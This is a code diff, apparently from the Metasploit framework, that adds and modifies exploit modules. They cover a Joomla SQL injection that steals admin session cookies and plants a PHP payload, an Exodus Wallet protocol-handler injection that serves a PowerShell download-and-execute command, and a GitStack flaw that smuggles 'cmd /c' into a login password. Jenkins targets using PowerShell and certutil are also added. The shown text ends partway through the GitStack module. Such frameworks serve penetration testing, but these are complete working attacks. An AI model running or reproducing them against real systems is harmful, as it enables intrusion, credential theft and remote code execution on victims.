print_error("Host does NOT appear vulnerable.")
|
print_error("Host does NOT appear vulnerable.")
|
||||||
|
|
|
@ -18,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
},
|
},
|
||||||
'Author' => 'Andrew Morris <andrew[at]morris.guru>',
|
'Author' => 'Andrew Morris <andrew[at]morris.guru>',
|
||||||
'References' => [
|
'References' => [
|
||||||
['URL', 'https://cultofthedyingsun.wordpress.com/2014/09/12/death-by-magick-number-fingerprinting-kippo-2014/'],
|
['URL', 'https://www.obscurechannel.com/x42/magicknumber.html'],
|
||||||
['URL', 'http://morris.guru/detecting-kippo-ssh-honeypots/']
|
['URL', 'http://morris.guru/detecting-kippo-ssh-honeypots/']
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE
|
'License' => MSF_LICENSE
|
||||||
|
|
|
@ -695,7 +695,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
len = hdr.unpack('Cnn')[2]
|
len = hdr.unpack('Cnn')[2]
|
||||||
data = get_data(len)
|
data = get_data(len) unless len.nil?
|
||||||
|
|
||||||
unless data
|
unless data
|
||||||
vprint_error("No SSL record contents received after #{response_timeout} seconds...")
|
vprint_error("No SSL record contents received after #{response_timeout} seconds...")
|
||||||
|
|
|
@ -43,6 +43,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'Platform' => 'python',
|
'Platform' => 'python',
|
||||||
'Arch' => ARCH_PYTHON
|
'Arch' => ARCH_PYTHON
|
||||||
],
|
],
|
||||||
|
['PowerShell (In-Memory)',
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => [ARCH_X86, ARCH_X64]
|
||||||
|
],
|
||||||
|
['Windows (CMD)',
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => [ARCH_CMD],
|
||||||
|
'Payload' => {
|
||||||
|
'Compat' => {
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'adduser, generic'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
],
|
||||||
['Linux (Dropper)',
|
['Linux (Dropper)',
|
||||||
'Platform' => 'linux',
|
'Platform' => 'linux',
|
||||||
'Arch' => [ARCH_X86, ARCH_X64]
|
'Arch' => [ARCH_X86, ARCH_X64]
|
||||||
|
@ -57,6 +71,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
register_options([
|
register_options([
|
||||||
OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']),
|
OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']),
|
||||||
|
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', '']),
|
||||||
Opt::RPORT('8080')
|
Opt::RPORT('8080')
|
||||||
])
|
])
|
||||||
deregister_options('URIPATH')
|
deregister_options('URIPATH')
|
||||||
|
@ -82,23 +97,29 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
case target.name
|
case target.name
|
||||||
when /Unix/, /Python/
|
when /Unix/, /Python/, /CMD/
|
||||||
execute_command(payload.encoded)
|
execute_command(payload.encoded)
|
||||||
|
when /PowerShell/
|
||||||
|
execute_command(payload.encoded)
|
||||||
|
wait_for_session
|
||||||
else
|
else
|
||||||
execute_cmdstager
|
execute_cmdstager({:flavor => :certutil})
|
||||||
|
wait_for_session
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Exploit methods
|
# Exploit methods
|
||||||
|
|
||||||
def execute_command(cmd, opts = {})
|
def execute_command(cmd, opts = {})
|
||||||
cmd = case target.name
|
cmd = case target.name
|
||||||
when /Unix/, /Linux/
|
when /Unix/, /Linux/
|
||||||
%W{/bin/sh -c #{cmd}}
|
%W{/bin/sh -c #{cmd}}
|
||||||
when /Python/
|
when /Python/
|
||||||
%W{python -c #{cmd}}
|
%W{python -c #{cmd}}
|
||||||
when /Windows/
|
when /Windows/, /CMD/
|
||||||
%W{cmd.exe /c #{cmd}}
|
%W{cmd.exe /c #{cmd}}
|
||||||
|
when /PowerShell/
|
||||||
|
psh_opts = { :remove_comspec => true, :wrap_double_quotes => true }
|
||||||
|
%W{cmd.exe /c #{cmd_psh_payload(cmd, payload_instance.arch.first, psh_opts)}}
|
||||||
end
|
end
|
||||||
|
|
||||||
# Encode each command argument with XML entities
|
# Encode each command argument with XML entities
|
||||||
|
@ -113,6 +134,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def wait_for_session
|
||||||
|
print_status "Waiting for exploit to complete..."
|
||||||
|
begin
|
||||||
|
Timeout.timeout(datastore['ListenerTimeout']) do
|
||||||
|
loop do
|
||||||
|
break if session_created?
|
||||||
|
Rex.sleep(0.25)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue ::Timeout::Error
|
||||||
|
fail_with(Failure::Unknown, "Timeout waiting for exploit to complete")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def xstream_payload(cmd)
|
def xstream_payload(cmd)
|
||||||
<<EOF
|
<<EOF
|
||||||
<map>
|
<map>
|
||||||
|
|
|
@ -0,0 +1,269 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::Exploit::Remote::HTTP::Joomla
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Joomla Component Fields SQLi Remote Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a SQL injection vulnerability in the com_fields
|
||||||
|
component, which was introduced to the core of Joomla in version 3.7.0.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Mateus Lino', # Vulnerability discovery
|
||||||
|
'luisco100 <luisco100[at]gmail.com>' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2017-8917' ], # SQLi
|
||||||
|
[ 'EDB', '42033' ],
|
||||||
|
[ 'URL', 'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html' ]
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true,
|
||||||
|
# Arbitrary big number. The payload gets sent as POST data, so
|
||||||
|
# really it's unlimited
|
||||||
|
'Space' => 262144, # 256k
|
||||||
|
},
|
||||||
|
'Platform' => ['php'],
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Joomla 3.7.0', {} ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => 'May 17 2017',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
# Request using a non-existing table
|
||||||
|
val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')
|
||||||
|
|
||||||
|
if val.nil?
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def sqli(tableprefix, option)
|
||||||
|
# SQLi will grab Super User or Administrator sessions with a valid username and userid (else they are not logged in).
|
||||||
|
# The extra search for userid!=0 is because of our SQL data that's inserted in the session cookie history.
|
||||||
|
# This way we make sure that's excluded and we only get real Administrator or Super User sessions.
|
||||||
|
if option == 'check'
|
||||||
|
start = rand_text_alpha(5)
|
||||||
|
start_h = start.unpack('H*')[0]
|
||||||
|
fin = rand_text_alpha(5)
|
||||||
|
fin_h = fin.unpack('H*')[0]
|
||||||
|
|
||||||
|
sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x#{fin_h}),4879))"
|
||||||
|
else
|
||||||
|
start = rand_text_alpha(3)
|
||||||
|
start_h = start.unpack('H*')[0]
|
||||||
|
fin = rand_text_alpha(3)
|
||||||
|
fin_h = fin.unpack('H*')[0]
|
||||||
|
|
||||||
|
sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID(session_id,1,42) FROM #{tableprefix}session where userid!=0 LIMIT 1),0x#{fin_h}),4879))"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Retrieve cookies
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||||
|
'vars_get' => {
|
||||||
|
'option' => 'com_fields',
|
||||||
|
'view' => 'fields',
|
||||||
|
'layout'=> 'modal',
|
||||||
|
'list[fullordering]' => sql
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 500 && res.body =~ /#{start}(.*)#{fin}/
|
||||||
|
return $1
|
||||||
|
end
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
# Request using a non-existing table first, to retrieve the table prefix
|
||||||
|
val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')
|
||||||
|
if val.nil?
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")
|
||||||
|
else
|
||||||
|
table_prefix = Base64.decode64(val)
|
||||||
|
table_prefix.sub! '_session', ''
|
||||||
|
print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Retrieve the admin session using our retrieved table prefix
|
||||||
|
val = sqli("#{table_prefix}_", 'exploit')
|
||||||
|
if val.nil?
|
||||||
|
fail_with(Failure::Unknown, "#{peer}: No logged-in Administrator or Super User user found!")
|
||||||
|
else
|
||||||
|
auth_cookie_part = val
|
||||||
|
print_status("#{peer} - Retrieved cookie [ #{auth_cookie_part} ]")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Retrieve cookies
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php')
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/
|
||||||
|
cookie_begin = $1
|
||||||
|
print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Modify cookie to authenticated admin
|
||||||
|
auth_cookie = cookie_begin
|
||||||
|
auth_cookie << '='
|
||||||
|
auth_cookie << auth_cookie_part
|
||||||
|
auth_cookie << ';'
|
||||||
|
|
||||||
|
# Authenticated session
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),
|
||||||
|
'cookie' => auth_cookie
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.body =~ /Control Panel -(.*?)- Administration/
|
||||||
|
print_good("#{peer} - Successfully authenticated")
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Session failure")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Retrieve template view
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),
|
||||||
|
'cookie' => auth_cookie,
|
||||||
|
'vars_get' => {
|
||||||
|
'option' => 'com_templates',
|
||||||
|
'view' => 'templates'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
# We try to retrieve and store the first template found
|
||||||
|
if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/
|
||||||
|
template_id = $1
|
||||||
|
file_id = $2
|
||||||
|
|
||||||
|
form = res.body.split(/<form action=([^\>]+) method="post" name="adminForm" id="adminForm"\>(.*)<\/form>/mi)
|
||||||
|
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
|
||||||
|
input_id = input_hidden[7].split("\"")
|
||||||
|
input_id = input_id[1]
|
||||||
|
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "Unable to retrieve template")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
filename = rand_text_alphanumeric(rand(10)+6)
|
||||||
|
# Create file
|
||||||
|
print_status("#{peer} - Creating file [ #{filename}.php ]")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),
|
||||||
|
'cookie' => auth_cookie,
|
||||||
|
'vars_get' => {
|
||||||
|
'option' => 'com_templates',
|
||||||
|
'task' => 'template.createFile',
|
||||||
|
'id' => template_id,
|
||||||
|
'file' => file_id,
|
||||||
|
},
|
||||||
|
'vars_post' => {
|
||||||
|
'type' => 'php',
|
||||||
|
'address' => '',
|
||||||
|
input_id => '1',
|
||||||
|
'name' => filename
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
# Grab token
|
||||||
|
if res && res.code == 303 && res.headers['Location']
|
||||||
|
location = res.headers['Location']
|
||||||
|
print_status("#{peer} - Following redirect to [ #{location} ]")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => location,
|
||||||
|
'method' => 'GET',
|
||||||
|
'cookie' => auth_cookie
|
||||||
|
)
|
||||||
|
|
||||||
|
# Retrieving template token
|
||||||
|
if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/
|
||||||
|
token = $1
|
||||||
|
print_status("#{peer} - Token [ #{token} ] retrieved")
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/
|
||||||
|
template_path = $1
|
||||||
|
print_status("#{peer} - Template path [ #{template_path} ] retrieved")
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")
|
||||||
|
end
|
||||||
|
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Creating file failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
filename_base64 = Rex::Text.encode_base64("/#{filename}.php")
|
||||||
|
|
||||||
|
# Inject payload data into file
|
||||||
|
print_status("#{peer} - Insert payload into file [ #{filename}.php ]")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
|
||||||
|
'cookie' => auth_cookie,
|
||||||
|
'vars_get' => {
|
||||||
|
'option' => 'com_templates',
|
||||||
|
'view' => 'template',
|
||||||
|
'id' => template_id,
|
||||||
|
'file' => filename_base64,
|
||||||
|
},
|
||||||
|
'vars_post' => {
|
||||||
|
'jform[source]' => payload.encoded,
|
||||||
|
'task' => 'template.apply',
|
||||||
|
token => '1',
|
||||||
|
'jform[extension_id]' => template_id,
|
||||||
|
'jform[filename]' => "/#{filename}.php"
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/
|
||||||
|
print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Request payload
|
||||||
|
register_files_for_cleanup("#{filename}.php")
|
||||||
|
print_status("#{peer} - Executing payload")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"),
|
||||||
|
'cookie' => auth_cookie
|
||||||
|
})
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,104 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core/exploit/powershell'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ManualRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::Powershell
|
||||||
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Exodus Wallet (ElectronJS Framework) remote Code Execution',
|
||||||
|
'Description' => %q(
|
||||||
|
This module exploits a Remote Code Execution vulnerability in Exodus Wallet,
|
||||||
|
a vulnerability in the ElectronJS Framework protocol handler can be used to
|
||||||
|
get arbitrary command execution if the user clicks on a specially crafted URL.
|
||||||
|
),
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Wflki', # Original exploit author
|
||||||
|
'Daniel Teixeira' # MSF module author
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'SRVPORT' => '80',
|
||||||
|
'URIPATH' => '/',
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'EDB', '43899' ],
|
||||||
|
[ 'BID', '102796' ],
|
||||||
|
[ 'CVE', '2018-1000006' ],
|
||||||
|
],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['PSH (Binary)', {
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => [ARCH_X86, ARCH_X64]
|
||||||
|
}]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Jan 25 2018'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),
|
||||||
|
], self.class
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def gen_psh(url)
|
||||||
|
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
||||||
|
|
||||||
|
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
|
||||||
|
|
||||||
|
download_and_run = "#{ignore_cert}#{download_string}"
|
||||||
|
|
||||||
|
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
|
||||||
|
end
|
||||||
|
|
||||||
|
def serve_payload(cli)
|
||||||
|
data = cmd_psh_payload(payload.encoded,
|
||||||
|
payload_instance.arch.first,
|
||||||
|
remove_comspec: true,
|
||||||
|
exec_in_place: true
|
||||||
|
)
|
||||||
|
|
||||||
|
print_status("Delivering Payload")
|
||||||
|
send_response_html(cli, data, 'Content-Type' => 'application/octet-stream')
|
||||||
|
end
|
||||||
|
|
||||||
|
def serve_page(cli)
|
||||||
|
psh = gen_psh("#{get_uri}payload")
|
||||||
|
psh_escaped = psh.gsub("\\","\\\\\\\\").gsub("'","\\\\'")
|
||||||
|
val = rand_text_alpha(5)
|
||||||
|
|
||||||
|
html = %Q|<html>
|
||||||
|
<!doctype html>
|
||||||
|
<script>
|
||||||
|
window.location = 'exodus://#{val}" --gpu-launcher="cmd.exe /k #{psh_escaped}" --#{val}='
|
||||||
|
</script>
|
||||||
|
</html>
|
||||||
|
|
|
||||||
|
send_response_html(cli, html)
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
case request.uri
|
||||||
|
when /payload$/
|
||||||
|
serve_payload(cli)
|
||||||
|
else
|
||||||
|
serve_page(cli)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,301 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::Powershell
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'GitStack Unsanitized Argument RCE',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a remote code execution vulnerability that
|
||||||
|
exists in GitStack through v2.3.10, caused by an unsanitized argument
|
||||||
|
being passed to an exec function call. This module has been tested
|
||||||
|
on GitStack v2.3.10.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Kacper Szurek', # Vulnerability discovery and PoC
|
||||||
|
'Jacob Robles' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2018-5955'],
|
||||||
|
['EDB', '43777'],
|
||||||
|
['EDB', '44044'],
|
||||||
|
['URL', 'https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html']
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread'
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' => [['Automatic', {}]],
|
||||||
|
'Privileged' => true,
|
||||||
|
'DisclosureDate' => 'Jan 15 2018',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_web
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/rest/settings/general/webinterface/',
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||||
|
print_error("Failed: #{e.class} - #{e.message}")
|
||||||
|
end
|
||||||
|
|
||||||
|
if res && res.code == 200
|
||||||
|
if res.body =~ /true/
|
||||||
|
vprint_good('Web interface is enabled')
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
vprint_error('Web interface is disabled')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error('Unable to determine status of web interface')
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_repos
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/rest/repository/',
|
||||||
|
'method' => 'GET',
|
||||||
|
})
|
||||||
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||||
|
print_error("Failed: #{e.class} - #{e.message}")
|
||||||
|
end
|
||||||
|
if res && res.code == 200
|
||||||
|
begin
|
||||||
|
mylist = res.get_json_document
|
||||||
|
rescue JSON::ParserError => e
|
||||||
|
print_error("Failed: #{e.class} - #{e.message}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
if mylist.length == 0
|
||||||
|
vprint_error('No repositories found')
|
||||||
|
return false
|
||||||
|
else
|
||||||
|
vprint_good('Repositories found')
|
||||||
|
return mylist
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error('Unable to determine available repositories')
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def update_web(web)
|
||||||
|
data = {'enabled' => web}
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/rest/settings/general/webinterface/',
|
||||||
|
'method' => 'PUT',
|
||||||
|
'data' => data.to_json
|
||||||
|
})
|
||||||
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||||
|
print_error("Failed: #{e.class} - #{e.message}")
|
||||||
|
end
|
||||||
|
if res && res.code == 200
|
||||||
|
vprint_good("#{res.body}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_repo
|
||||||
|
repo = Rex::Text.rand_text_alpha(5)
|
||||||
|
c_token = Rex::Text.rand_text_alpha(5)
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/rest/repository/',
|
||||||
|
'method' => 'POST',
|
||||||
|
'cookie' => "csrftoken=#{c_token}",
|
||||||
|
'vars_post' => {
|
||||||
|
'name' => repo,
|
||||||
|
'csrfmiddlewaretoken' => c_token
|
||||||
|
}
|
||||||
|
})
|
||||||
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||||
|
print_error("Failed: #{e.class} - #{e.message}")
|
||||||
|
end
|
||||||
|
if res && res.code == 200
|
||||||
|
vprint_good("#{res.body}")
|
||||||
|
return repo
|
||||||
|
else
|
||||||
|
print_status('Unable to create repository')
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def delete_repo(repo)
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => "/rest/repository/#{repo}/",
|
||||||
|
'method' => 'DELETE'
|
||||||
|
})
|
||||||
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||||
|
print_error("Failed: #{e.class} - #{e.message}")
|
||||||
|
end
|
||||||
|
|
||||||
|
if res && res.code == 200
|
||||||
|
vprint_good("#{res.body}")
|
||||||
|
else
|
||||||
|
print_status('Failed to delete repository')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_user
|
||||||
|
user = Rex::Text.rand_text_alpha(5)
|
||||||
|
pass = user
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/rest/user/',
|
||||||
|
'method' => 'POST',
|
||||||
|
'vars_post' => {
|
||||||
|
'username' => user,
|
||||||
|
'password' => pass
|
||||||
|
}
|
||||||
|
})
|
||||||
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||||
|
print_error("Failed: #{e.class} - #{e.message}")
|
||||||
|
end
|
||||||
|
if res && res.code == 200
|
||||||
|
vprint_good("Created user: #{user}")
|
||||||
|
return user
|
||||||
|
else
|
||||||
|
print_error("Failed to create user")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def delete_user(user)
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => "/rest/user/#{user}/",
|
||||||
|
'method' => 'DELETE'
|
||||||
|
})
|
||||||
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||||
|
print_error("Failed: #{e.class} - #{e.message}")
|
||||||
|
end
|
||||||
|
if res && res.code == 200
|
||||||
|
vprint_good("#{res.body}")
|
||||||
|
else
|
||||||
|
print_status('Delete user unsuccessful')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def mod_user(repo, user, method)
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => "/rest/repository/#{repo}/user/#{user}/",
|
||||||
|
'method' => method
|
||||||
|
})
|
||||||
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||||
|
print_error("Failed: #{e.class} - #{e.message}")
|
||||||
|
end
|
||||||
|
if res && res.code == 200
|
||||||
|
vprint_good("#{res.body}")
|
||||||
|
else
|
||||||
|
print_status('Unable to add/remove user from repo')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def repo_users(repo)
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => "/rest/repository/#{repo}/user/",
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||||
|
print_error("Failed: #{e.class} - #{e.message}")
|
||||||
|
end
|
||||||
|
if res && res.code == 200
|
||||||
|
begin
|
||||||
|
users = res.get_json_document
|
||||||
|
users -= ['everyone']
|
||||||
|
rescue JSON::ParserError => e
|
||||||
|
print_error("Failed: #{e.class} - #{e.message}")
|
||||||
|
users = nil
|
||||||
|
end
|
||||||
|
else
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
return users
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_exploit(repo, user, cmd)
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/web/index.php',
|
||||||
|
'method' => 'GET',
|
||||||
|
'authorization' => basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}"),
|
||||||
|
'vars_get' => {
|
||||||
|
'p' => "#{repo}.git",
|
||||||
|
'a' => 'summary'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||||
|
print_error("Failed: #{e.class} - #{e.message}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
command = cmd_psh_payload(
|
||||||
|
payload.encoded,
|
||||||
|
payload_instance.arch.first,
|
||||||
|
{ :remove_comspec => true, :encode_final_payload => true }
|
||||||
|
)
|
||||||
|
fail_with(Failure::PayloadFailed, "Payload exceeds space left in exec call") if command.length > 6110
|
||||||
|
|
||||||
|
web = check_web
|
||||||
|
repos = check_repos
|
